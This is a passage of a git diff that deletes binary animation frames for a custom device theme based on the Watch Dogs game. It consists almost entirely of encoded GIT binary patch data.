z^dcY;#O6Gp@`r}U{XhO+!XsttSUo`V{!jlg@Ob|}^|_s=HV;44|M4FopKI%h`T>X< zKmWvE|K9`+lAH4L1IqpnAC5o&s{{?Nbvo>a&*A^{2gjxe9L~oYZ$J6udN6T;?ATdV11h{z{MlL*g$>3M513KQQ?Y3;itzxAYu#|Bw5d z`Uj^RszZUV?tlM3kUbU!|KI=V_aFc0h#&+Ht^4hK{f-CfX(0Ik24DV>07M!f5f`95 zzxChmbL)Tp2j0K_?*Hkg0dSZ-C29iS|F8Ow|GXZtbYXA7Bh)PrJt1MS|8u|h{Q!Kv zAobnPy`W*s|Mh?WNld@+F=*CN1&jan|NRU4V7Oo*?VAVxlLwb1K6nri$>-oP!I_Jq zXAt@O=Hl`PjvxQw-;2mTKmoslOPBxP2gK+j@&}jrJ|z+0fB&xW1PK(k{SYYe_u}%; zgUPSN~Y`!gDB? zhzv8SKj2T>1=Ihi$IX!BKqOg!_{aYr`bMw4v4>pimJ9?hydOG#P9r3Uc&D&!#|8n4 zzlY9)41>ZXA6y(F;eh0a#{c}E+^7-iU@Tz}e1`x&JOKFb;~Xdq&N*R#L}Ak|K>Y9Y z?v4TzWV&#n5-RTyzH|KyQULzIs8VYB*4ih(*p3(zf=E#e30X$@Ia^a ziw2?t^uLQo`Cr0BaFvWqehD<-R7K6?5TU{}G58;5$)Np%#J*Dqlm-b9^-+A& zzK8n0A0LK(VL+3~qY{j#&L3p|Ma!Z?8fA+ENv6*<9*8_g{V)8*{1^RvLy07bXZakA stb6}2|3m#B`iBKl~T{1x+H-$N&HU diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_7.bm deleted file mode 100644 index c4a05d9d0462738087f0137de6e635aca883a58c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 866 zcmV-o1D*T<0A2(CfD?c81E>MF_5WBuD!YGBDfR#Q|MveuljTA0F9(nNUqXe_|G@U6 z|KVW~&}F*cz;gZk|NJ>j*-7ypOE8#4e1F&fj{g-^{RiM8KZ^ZNYvgmM_B|HJ=(yr;LNi&i%Yzpaa*tgswIJXej!iL(#8?|K0!g!AH{q9$){J8IQke zZ#LL~3sxU3f16f7F#2%BC3pPR+2$WiKmQm1<9}5m3M`mB;D7!v{JJFaMhyfgcrf_i z_`dT||FmH9!C(11{wHl-RsZY+9(bGorFuL2(7eCU@tJ?%pZ|kUzO`^j=i%Y=z+e8C z|9}{F?7@sfKil#7hs1hPeN?uY4sRF#fq(o2MjzdW%Vg0gSbY3J^88Ql5qMS;2dxjE zz*<45e)@$5k3c?#DDr}jK&d6 zgFwEb_5A<(@YqDMO#*@9OXvIo4;tANf<5+-0fDf1BrzC;D+?@xaDnA)pui>< z2!8;28>pBk>H1!6{H2Od$Xz@`OMkSJ)KllkMWsEK89OjG*)~Ee%8S zg1t&K69mYI#u*aJV007<)y8=+io%iQ|Ak<1JWHg4`J|mfH4#tu|ABwz;4Bgy#KL(P zyGpL`rO@av^_>Jlp*@9Pu(9YCg*-p>2*>F$NM`a09*tA+IShyYwd4Q8;h0*K?ic;_ z<>*#R2mU3;|I6gitQ;$g7W`TE8(iQ2aV!5v@H$#2!ysxH{3HGx7*vn*zkpn=Pce*J zHTZA;_y2|8{VVucR diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_8.bm deleted file mode 100644 index bb43dc48d91c3a4839c183dd4541cb0f9ce86a5c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 876 zcmV-y1C#s#0B8gMfII+x@MZJ=`~HwV@Zb1<;2S^R|JVO5`UB_N|Mh?1p&6uZaD7I>Al2 zQ}FnJC*&U+|J)2epki;pL*k$OxBp-K7Z?v}`1F5W_W;50-{5)I-Gkx?jyza2I3md< z|DFGjfBNVBe)t$4;uH@kyVQPp|MxwlJUBjs2o4|2Kl&dT`-p$W0fE3MPGSAS$0PHv z|LOn#J^Vf}4hQ@3PyI*yG5_X0d_CDr6CohFen;cK{=@&&zw{r!0H8o37z9ZF2cjPu zKmHqigg|JJh>!k%_@DnH|LtG;A1J~^DL6zJgUkAp9&N4>5P(5GP%KB#9&x|)eh-9% zNazrW1uMOO{0l`&Q5XgS0|KN(AYZZQ@9&V0?~Vfi;X-1QvJm07|C#*r34Q*j2LS+w z#z*5rpA<$rs=RtAct`|?4J^{(Ji_sx%b+n$#7=>TfWhMt4G+k^H~%~m0knz8co2%6 zIuTXy&%Yl29wq?_gTgRSAN)V5Px9YC9Q_U+5h0=AA`}kve`WuYLO&FEguN0nIc5Sw zZpOC8GeZ7g;t}Z<0xvS+LO+uIMg9R{{77gSibR$TIpIJ)9Q?2QsS^LfWKqZj0*`pm zP<#}6X6FTA{!m~S?03QswCG53oxP{}OGNhKVH4dK`Y(FmM05~%CbA(R?nrSLnFs$L zaO7fiRCq`JDGBaGNzCLro0{_?k+zI}Ji~pU#AoNLn>&a37Z|+>L{+mz#)%7MmIQ-|q z2;U+{tN-=+zx^NVuIEpjXfm+r{nMfU^m@WW`tSbZ_s+Dga~}BdJN!PS|08h7{U`q& z4?ZQm`*J4#A9w$O_=|p{{v0GvQ(pald$qqk|AW4;9LLp#=fEeQOIP3jf4BTS{7?9# Clij8O diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_9.bm deleted file mode 100644 index c214b4fc78d70b043024630b30f5aa67c2f1d194..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 843 zcmV-R1GM}B07nD=fII*<@OJ+{^x(4d0H^)m{(tZv_xu7N@ze#AehM4_6l*?!81TXA zEB;^f08y*@fMW{>rhoZg`~gM|;9>oMhBi1KhySntfNFp9@cLu_^RRgP|M)E+ zTuOuh9-sd%2Rgol20w9m;s5aPc<;Z__yJr+=v5kc5OwEa#f3-f|L=l_2mio|PyZwO zE0@Lp(T4u7tJ`ebydEsFM4`rOb2LS`b z09$YwCC2~h--pCdT;L%CL|#ncI||tV3qMN=AWg;PL(g%TEslkUYP#@Cbp& z%=3$kATDiVe|i2z{BL9oCJb@y?^k+Hvjhi#RuSD zzryhV2|Q}6|F&OpJqX582 zFgxVAe%NLY5cuIH96;ED2kKK1ApK}?u=vC*3iJn$+zK$bG=qsAzj}wI_Ya@m34j-j zet+R#m~?jNF@|I&5K498k^l0JhoAo_j2>ZtkijF@SSR$_LGb{HJbV`|Z8Gt_{(}oX ze<&=&@gb&Xr}>}os6-@$7=6R}ah~xn`s0CrghS{5#^`?wKla^T{r|nc|6A-!;~%4L zEH}=zJ4_7|2%pDa|DE{cw}1D0|7ZX7|NatakH&w7#aQmOKCXBDf&cj2hqvZRZF<_b z_B;RK|NIqkAm8o!{hhC0`jSHb&>#P#UME4n#x%8mD41~K@&9lx=<&bz??EB|?SA3W z;Q#so^Y_(#RC&8JU}5s`b=+hs5CGr)AN>dafKL$kfJb+8+jpQo8~!9-JO2W-dtt#M z5B>r0zu*JvEgHXH+rNN+FZdvM-}n~rc@#%`FY#E&t;F&oBS`zy1do{x|Rth(tl+njih?#vlQO{Vo5A|KN0A;E4bV6aJ6< zCE@ZHkN@lsJRk5HKoS0L!QJfE>dIb{cXR079D~O8@`> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_1.bm deleted file mode 100644 index 344975fda80c30043b71c04fe99532cb5e8d61a6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 173 zcmZQ%Sjq6e!G`exKSKrc0eQv=0rm~QFC-)^{4?)BK=pwZ7uKJ)f&CToH39;k4t{^Y z$jc&MdqLouJfE>dIcG5UZnMF}PQ`8@DPrXzW$_)DRZVwP=~lc G{yzZkeLP$M diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_2.bm deleted file mode 100644 index 6390af889e3b28eb903e41b28bdde1f653155625..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 209 zcmZQ%ILq+A!G`exKSKrc0r}nzkN*dLA8}D(_}DOyoq<1x$H_(hC5KJ2v6YE|+#N=b z@2!uMw?B4$|9}6%qu-A(^0R0-a6DjWYvSLhQFA~|=l;&8jQ*eYD;RN^#M)1=UiA6UM}$?>26Jq5YMPwqQxQWX9? XIi{*mBEEz9fE>dIcDU1sJfc)CES^w|}69i~4&pyvPXzkxQX2@_Yh-}^VeKY_!0@zwcP zQ@tHodSX~?CJ6kj|GD$8HupdMX>(ZA79CyU_J6hT1V&58&%c^{PI!J|1IeEx%#sT(oHU)eiSh*RE}?P2{Zq{^)y$k3;ic7V+QzRW4m>e!iHchmW!4f%SdG zt?d2Z%Y&{mx-FeFiTSvs)PyFt#a^clH9EH}N^)r4z3cAzNemy@;ejGY0*3_v?RB0j diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_4.bm deleted file mode 100644 index 34847a1819085a8c6466d03116f087ea9edd1c84..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 426 zcmV;b0agA10Hy)|fII=<4*+-rz#kQrRKMT)uCA@E1rDl_wE_>PlT`u?rek8p1xA%y zgo1{9m8Ag&GpnU)K%-L0PXL3$)Xcx1`ka=fiUkhWUB(g)_f<^q|MO&%`_id5kSOs$ zL+k(THF~dC{?-W{IDCGfQKkR#Ve^ZCgi=5L=m`5@^Q(Y_L|%{(hes$6F|hyT;34k- zhWr2N-|D?kk^aC!2QHa>YxQ*a!pY<%O;|){_9$Tx<6t4~0ERk29sN^N{+ohE?gAcI zy!yBPe!KsR7omK$d4*a&(cA>jY|1;fLDhb{shun1>s^$(H!ljXx8kN|^( zPa*i<{^{}6)sN%51`Rv}EfE0}&SzD{0tf(b7zF?bHC+`DK0o*X06>HN>bc7&E2`oH z<5cTkfkRZv)dS_Rp=&|orHWNSLQE0)R`&hvQ29U}0PqKZJOSVjIu24vNeTD@^0^@Y zfHx8X9QZ!^Vh;d!R3YFF@`L)5D%A9ZexKZzP$%FH<-EK>;{OI-w!6FQh&}(53Kx(k U;0uz{a!^2@fII=<4*+-qfFq~RCjbBd diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_5.bm deleted file mode 100644 index b635bf3e45e664ddb55cb4048a43ab585a03bb51..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 452 zcmV;#0XzNy0KftNfII=<4*+-rz#afeU6WbV0*_l=S^^A~lal{``82v-BnmVxL_j{% zy46=I1sbzzr7%K<$>GAAMI6cs{KIw-*UAoQhdIe zuzO^7x~|Z^>bhN3l|Ek~dw>hNAHV1bZD4axxB#o*LnpWZx+pHYpYQ$s+vmUaz2940 u4`>_Zjl|M0j9CLkWtnhc4=#G8#S4nyoU91E;aQkw=hX(-o1 z0>6jv{{(=sygQo!xG#=eBJ9>caum94(gBK6TG=K@L)c^!|J8#!qeqaLR zpT>*-h{}FjaSLl}T6aKRdcA zQ{t>Bcs&c^pP&I2kv)xU%-PC0S_b|!O?($)9b6%`v3J>uhzZ{I=BdDvYM4CK3}X~_!vL}sr7YT zr1^Y_L#qd-l2ujG|MNOur!V|A5CeA4>(>S%XsuuoxBkcC1|R-hB!#3uq|6?OBtMS~ z2sUtf3J5-L!T}e%d$;c?#!JHFGspb;6_HS>UJw0aYid4>CIcbBgU1Od=*R#084XJr u{`=9gm*9BGXfiIZ{%iN^DF%~?fM|i^{5PIXLqrddBu+#C@CSfA0pJcSGre~J diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_8.bm deleted file mode 100644 index f8dfa729e8a4c51857f9557fdf95ca23678e7af7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 315 zcmZQ%FlYSVV8i%;pP_>JfE>dIc9J-C(>y&-*1t0H@mu{@d10~=qubVR?Hp{aFLr^1FGqZL|Ia$m z9Bh2TBqzbKyP6YSeX(+J&WL>vR<-Zmy_tO7Uu9QT7>9}Ax)!}!-hY3Di b6Y~DuT~({n{E@k%CZ(h&#nH6^8d3%TcKMHL diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_9.bm deleted file mode 100644 index 77cbb5a7ceab4844cf40b161f71658d49fa1ed40..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 247 zcmZQ%_{{LX!G`exKSKrc0Xc>b?4)rRwRc6UFaN)KYj(E7x4#YT_5ZhCDm4wLPIrF1 z>i@~NQ70Pe9GEW)_Pvq2uwyE>@c;QwR)t=g^7{Wb0fj4PrcY<&t+6jIP&jh)SHckIjFT)$&a*29y3|NU2Rw6kDXvSt5$VGDGr>g|L^~NAlNARzpVekY*&%y<9a_&7ejneceDZ^=Ig zibnh&@BoAC{2&3Jz}M6rAAbDfKhNMifBX0-J_&*kAC?9_4tO{0d|wV7d>;R=z5l=a z_~XnG@bCY@t_m~_$Fn;&n|HJ!-<9-hx9sj|*55I$d5AQ(de-8*g zKfM0-3?4QD`|vM6{NxTJSYO8i_y5l4|NDS^U_XED?Q5%$fdk|3{@#A(zrcN00pnGE z%mdvx%vPY2zg_#e~j z@IPbM0Di-P`#`gOpeXG3{L&ft$NXdI?fe7x|NB5^(|M)uk|KI@_ zSUmsf8V9669TE>vJm^H~|KI)p`glG+|KI)WBrF&Y4g4NH4+(-lU$A)p{vJK}K0f#U z|Nr9h7Ht3f|G%G~_JDtfK0XgGzjQwT4*ehf^LULw9~<~Td&hsgC*#4thxed!xkdnf z{txdz{ezwNAYu35Uw`??oJSC@jtB4mozMS&&iKF=2YX8Tz=QFC`~SC}x$Gz(QO!ka zDi4?kzA@0H17rX`=+EFDBl&=0C<8GM-*We>4$uH)fXe_D;s_7jMF}?m4*({Dh!OAx R;0gSUzyZNR9su$GfFPcAq|pEX diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_10.bm deleted file mode 100644 index 9a30f1c0e7f88804fd163dd1c53f2c49706a6295..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 571 zcmV-B0>u3R05<{vCxUPTALJY%QUIAl!O|N)2mBov3HTJ}fcW4?z^8bDgWuo}Pr(8{ z0hAJ`Js>1m9H1F*!1n|e0t^qKK}RM4F}@9uHbjEv0?3S@@-z+u!fY=B0k{g$;Cy57 zKzw)vtb(qKS? z*pfa8ym)9N(T#)O`2mJ`0p$}1#{%8vftOewaBqdb=8zx*L!c4wggrnZVT1$KbTR+L z`~o5Ij04ngAo2hH=i$-Z1Jtk}@!zln5I={4fkqylALsrL2>1ikJ|OY`fCNAw^}qp3 z{0}eub?`s}-~fhr4@vkvZ~!5{gU9v{8~*?v-!J$CZ+`H2hum6V`!0?A0zVHA{Jy~P z`Gdq5K0o+<=s7|2y0M--Gdh`Tw`I zuc=&t@AtoNKXcd+JVDA2D5kQt6oo)90QP`uqL={a@E{=g_e6CSqo{}H5kP8~J>n1! zzJA{v{B6!T*#0fdVJR5rG58fjs)06d-&O zh8g5T7(LZUvGy#J`XRya{v!d07QH6e)rG+dZ=I(?eO1&$H#xXL;>&M-b4G4Io_fG4~y?V zeS@9%ARzVNKzJ9P{&FQz#0S_OSHJ#uxBb5d+rb0CeE-|p*VHmW^#_mM{k*-;U{FAO z#Wj_vq$(H>cn7*EfPoRre!%gF>MKWc2dETr6b3oK!Rr8Gk8<~`0}tRn!19zpARzN} zh&{CwLU4n`Vj$#zN8l0)5E#CY3xGXiz-9jkNC1=Q27ta`VF$nf@DqT0-+)5}Qxwht wdy!b5dtYL2mOp7_FM~$zaQ{G!-4ANEChf3X9Ji3KqV>&PXGV_ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_12.bm deleted file mode 100644 index 15fb3b32fc82022857d86aaa90b9a355590eece6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 615 zcmV-t0+{^)0Am6G9Q+Kwz_O5+|Di5(Nl4;W{V5N-xbj{@E9C7BRF1t2t+!r${1n0*1_o+y9B9%VrQ z5hOw4o)rNA1!N%fp99DL{|A_0Km{-dp8xVoKj1xA$Nc}n;gAq~i^O116TpB8&LHvs z1Izy%2drWN51#|leh+lGgVO#FSmHE)|F8Y;-VYVQ1J3{*JNP~!m;&hEz$4=D|HJS7 z`Gd#*@bQDk;16HV-v8hI{C)or`p2*f(Fd2$&-;Lf(mlZW^W**Cc>U{w^#_mNzX$Jp z|M#wdyf!?dR@$3a~&Y0rvaHbrq92 z^dk@BQv?x+JW~P>Looa#GzbU%P+$=UsVrau5r9M8LJvp}f=5IHmH=Wg@OnV}0rCJ3 z03N_`;6vb`bAaFmA`eUeT^)iUAv({&{AWw?B!K2MCb|s=;157SL?FguG7sVc1`wl6 B7^MIJ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_13.bm deleted file mode 100644 index f6e6c65526ba443d7a214ce9c1d577fafcbf4cd2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 653 zcmV;80&@KU0Eq$s7w`l>5C8r?1sV80KOg_-K7YU=4-e!RUx0doM*;tV^a1672PObg zJ`MZ^0X~PoHULoo7XThWV!j9m;R6q#U_i(Z9|RN-egLWz$^$@x1Ml!X5PFeN9+1F# zDVyLA81Ozg0KxDT#2%IaqCw2&4@n@g5P}aY;3($A#8(x*0ZauLkw1X)zY#fb;NAFVN@(;69*%01e_jZ~_PjRY?W`l=>ay6^()d4}1q6-R|*&Mh4nM z$iX-tJAckU1K>gU0P?^9#6mw9f5ku`@(qYQz#^Uy2*I!b^bv?eXdjRN?LZ;+fPhEA z_}~6-;E{uh$R1CzpeuwzFnl0nLF5e(2&;$w01<%1Lt+na@I1fq*qD6MV&xg|JtyJu zCy+ev;Pk)7f$QM-f5GE>_k+eV4>9=%PW}%l#sVG>KLK=a;1Te6f8g{Nm-FTiAOFM0 z|DFTi?|<+9{yzVhebZtOFQ1?HIWNCHKi&tA-nbuYhr_=I?|lD%u7EH>=`i?j;Q8+z z{_!wph`lBr4dg$$1D)z14)F)I_n+Ru&cZ_v2cNQKe1KvP zDDL942_yJ}&JVzW;vxWXunI&HFc5n8E_#>+03Pr#2+AM;f-H(;L+Jp6N+5u79SIz4 z1N1_SfLJ5pT$O-KVe$f`1MnXZK_yB#Afh5p`2e^B&1y5iF@OXNAoPy{3JM50^a5ZH nTflum0x=M>YyruD91L(Dg@OZ|;V?jRTL{E}1@K%DJ)yu+%_Ag% diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_14.bm deleted file mode 100644 index b29332e8eaa8d4bd55c2413008c1d3259c81b41b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 715 zcmV;+0yO;r0LKCV4}t~)AN&si|AT^t7!N!EJb*(0|4+f~;DEqCp|TJN9Akj<_yB|y zKmq502H+1l;Dm4BbKnUE@CP~YJVnGeD0~9=2RQJ=MaDoF_`O2HMnHItM!*Izd%ywf z03Ha$KneU0s60mk02n|#peUj<5X69^;ZYCb1`lOv9EJoB7&tuq3)J{W!QvAT$*Y7a ze~tMVLgRo0kUc*i`T5XP#R>88&OQ$-_&qP+@nVQP{sz(i-u>Y7 zAc#D}r+){ay-TBi0FQ&i{}-e`0SEqk!Qu=b7zkit@&}AR@%O*?|9>BU%wB==O^7_c zesGYN)(`OK$NRwX`_}{S@bAI<-#^{!pifBHJh$+C_m2N~m;=S)A@lHWVg1M)?@-Sm zc^}KcedqVEbFh$u(cUor1^54)g~V|I@+XiyVcZMf|2v=l-9&`0EKr#><2mi|lrv=0wC6b&aOM!p*N8!Ms z2aI6qVDa!z{}cR4tWp9GZUle%KNgTYTVw(ofaHPW0G|$tQbZvLjDgZA@dt@$StRus z*kGsE;Czk+7BS(VghY@a^G6U&VV*&dz(M2iUJyKR5&i|c-2?ms-K;SGg}>(?1&;v` zDxrh$AYc*rL;f-U031Q$@*sJqgaROP569#G`%nly0j3Wv|K%VcvKf#JK;*6;=ltv< zwFjsC04xy)h5U?iF9w^5%73_;PN$)ynmlCc>n$$FnO}h1Ni&j`~Sa>zvho5i37-5Ao2P6 z|9B94d^z#{@H~F?#)$*hzX$Jp|97r{J~!}u_m2N~m;>Lzy@&T8bG$=5LGOL%|FCng zkeAX94;}^g|D1)yL*x&8-~T(G{@~5rqyxEg)Px8= zu<(fBB@hA_fD7OeAb9}BQv?SXJX<0UGI+>n0QCF=#0W6>1b7&L^B9mlBosh;e*z>8 zDENKvfc3ut1_}>J;6#9gCKv?39>5U^5I!fs^AD0RZUE8(jQk#Vf*_y;4lCk-0me9_ QKZC4)5cnivSS*1q2zYHVcK`qY diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_16.bm deleted file mode 100644 index f45e18db02c981f7da6f2f36604e02b17d5068f9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 733 zcmV<30wVnZ0NDb7cpxwd@FjoH8~`jp0uQ(te1JoI3Zw(!2f#tVqxgVeA>dKKPrzgi z7%&unkPZM;fCC5zoH!nYQ@}<+<^U`3JV~iA0SG)qg8&=|ghE3rCWsVF;tweBJp2Kn z0T4Y1LNOE39n3T&ayAT1TqhC$79g-iK}r{b24g9>EJ5oFC5!}mLeXC&2v}2qh{xa% z!LYB09zmf658&)Eg+hbPNKtf@b1LObx2aNC@W^o6m|Mrj&0LKC577@^^ghDWOsEkBj zL}3S)`~V{X1`%}x!~O@C{yGmS06bQOJ_n$HQGy>Jd0)ZkQ4o844Ws|P`@!zi5b58+ z^j#bH1biMJ_&m>|4=39-{-%B=e&3O#KFuU_4Dsx{m2~e5L^&@-+BM+ z9PA_@@-LHoc=zA_au*TANCD+I2aJCK$G!jax&Q6@LJv^+eE-|p*3~pm@tiNlIRL}` z@7vGZ))Wsw5P^nI_l|2TQBZnMFN_oS$1o5kQGiO}00@km-5uOkhQbetCL$mmIPeUk ziy;~e1G#h5fd&D7H57Orl86Kc839BHgrUIkIF3S71b}!TH~@HnL>`+74FUmjfCI`N z0Uv|}qB#LroW=pb29yF04<7&|WHd+t{Cp661U~=|7#Kuw0rCJ3f(8#TD2K!zFi?4Z zAY%~+j{qVe@rH-Z*g64-h{Pf=H~>8qP2>3id@Oa0#5FmN{ z!Q=nnQWc@N9+`TO7d|G$sF=NJc=e7_>m2anIs`;3pqfGI#6&4 z1I(sf%bunH2OxS0N&_eX3KU=>kr#~s9wbqKN+5tS`UFIBAz=rc20=h3jr>AV0C=3l zK0pG)jfdd?kU%N`(Nc&UXq*rD@KE9p8NfVa!Q;pah5_UUm*6@xfN?=!6YwD00p)lO zh&*Ef5+4ZQlOs5v1IR*Z0tbv36f?n)htM8_5uRQQ!~k9aXl2j{;50$*o)RHL02Rqd AumAu6 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_18.bm deleted file mode 100644 index c365a0cd27c2badf31b2e34bfa8b931e7d8e633f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 705 zcmV;y0zUl#0KEeE0aO10z<5BT;Df*;_W*i9fT_R-l;99>fFZ!(7zlg#$0Q6GU_AZ+^zcIgPzj4;#QeMx*e6 zgY0@B@ktSoPGt=lmGF=t^(+np17`<_n0OE{c`C*P4<8JE2!J4XfJD$iF^GI8=CP0h zL>?`H0Ej$)pNslnpeUjTlmH$-@8$fcK(U91NJ=1)iv!2_2Q@)Z7Xkw>=l}R85?Htk zfDa%T-#^BZ2cR^539_GjJOI%Lpftb(9Pk6lWMKC9d#E5|G7?l!;uIf$zy1$tfUH5~ z5Ae_3!T=e-2t%R|FT{WOKR^gQ074Hx|Neg77ZJcC1w#jq-u^!@c~2k%f@cUsRb&q_ zXoJaIKjDCb=o%mbj)}+~aPgRf&_F=;zk|p24-$z3&jAnk4@&l+5PHXf;w?M)Jm4Vr zzko;S;b4$HfBz2{JxAmZF8}Z2@A-?}8X)rd`Tuwjd`J7h@%z^S>VF@{eh=RH{{LMJ z1P9;`UHl(C0(UN8cUXR-h1Q1;PP*512%K@et`lf$9wq2;(j~kU+!1?ld0s4gwD_ zK!XG%MnT>aO93B%Mj#X5dASF9M-PtxJ|OfCiP(1qu>y=90SsmkTvWyIp@YZ-An`GX zJg^Wj*$KoxVDo^3$3ce*5B!8MLm4>>0SEAT^Z)<&NMPU+fcPMA2tNbN4;%ReU|{kc nh&-?!82$N*J^@Jv$Zjy+4d4#f@DSf1762g515@~bTmXYS0Sq7*e*h@_1LqC{3=AH42>b)U z1Q2>aMX5g;EEr5h1{RM13@~zwmrNcw2sq$?2sR!8Ag~ZHDZmIs4e_hv^4M7$71~2tBt8lL`oYVg&)e1IzFaFldpEd2k1n;J8o- zd;$poEsQZNVKE1=0BzpK0fb3pP$mH2DgM~{xLN`a7jS??9zF>FhJN5E3J_n#0RfMK zzOWE^o&+9{ABF$)AFz1u{^0W93B(8>F$RnW@jv{3%K|qb8Hq_;An_0ge8J|aFZckX zpz%tO%;x~~pYR~y_AZD#@8I=PjzAb!zj!=w5b%2cgN6@wDFf5t;s1lw+931){5)Xv zPK!)`fYI;%{yzVhJs@)cdi?zVybL{_AolMA$L~}JntWsl(eKCm-#_2)p#TS<3{#^I z&v@_mfk1=M;#>HCdIvky0t7zZ4gNoUgPr#xVDSkG%t7V-|K}ia96&H&;P$-#^SS@+ z`R*X{zyr&H`~UB2Sx{N4iVQ<9zx#Xpn!<}{4?YLq|ER4+Ay7rwgUDV`54?W?LIo16 zLFNN5eD`r$2bg^TWzU|03IPG|1K*i>&<9BFAoEF-1G)Q+fd|0=un9~add`#-2sa1= zKtb*N`_I6GI0vja22&0&RHKjxfIPs$Ix0Ejivk}=zznn=coMKgLJBdl1Ii2|Ab7$7 z<|ID?5WIsSB@BQ*xDS#fe}Ewnh&+zM4=)T40ee*{P~af(|NrMFv+@O$4rVDbO_JOKFoeeeDM|Ht3+ zUeEu(`}z6*Fc)j{&ka_?A^7nu| G0pJPS|D?zO diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_20.bm deleted file mode 100644 index d2aa55398fba254c8ff7c99c74a507c15b2168c7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 651 zcmV;60(AWW0EYqq3=RQ21wR4~1Skvwb`N|2Jg@@02bTa!p!lFbJOWdY0LmW#j{!!& z4-mnAKj8PA1I}Um2b2Oa0FD6!1R@a+4gLm47z7}MaKPY!2l);G3EV^`4?)QT#LCcE z1W68uQZb3JQ^X4)=)iar@IeE`Jg_tw1I)BgCLAn^#GJiGw25Rk<`m-8VoiUMH}dQUIT#6F8~-DMuQ0L0E|69=3yE=!Sv zKq2T60E+;47Vj|hpbb$6kThZivA6uv0v|YVtX;%=7m_z8(O20EAvBvA=`I zn0o!|x{l|MdhO zbBF|L0f71cx4Znj3J4EXc;G(&&F@}+3Xm&Aem8)5`Tm>F{9Y8w5CFr2<30k9z9YQ* zz*z(U7-hl$VHgLxd-&^tL>_S9c!)*;h@LQnHbD69R`dX~2dP9r19)|aJ^&+t0gjXw zP;h+wC*ZPygV%r$Dg+c3Ln44f(u2T&;2<;rS%3=x2M35WU>Fe?fCj)1Fu4cBa)9{2 l14WJ?0-yud1P^ff0E8ANa{w^xpuqPM7(Aij5)CjApa8A27pedN diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_21.bm deleted file mode 100644 index 71d0b27090317d911c7d0be337ddf0ed06786e94..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 727 zcmV;|0x10f0Mi11Lm(aq3<5#;|Hr{Y2Y_AzC+GnT!~738d;;JPJKzX%pa1YYqtFU~ z#X#eokbD567zP#qcrbt{%7H`p9*u$lKn92bC*UFY3Fr(Om#vp?~05EtE zF}Whhyob_&0E9F!fPt!u@R1@|iv}nX5{iETxM zY{BHNFZcjN0v{{@eSg66|IXk;^YB1J<2?U+!R3ENh&*6H(FciiLFfM#j0k2a5#W43 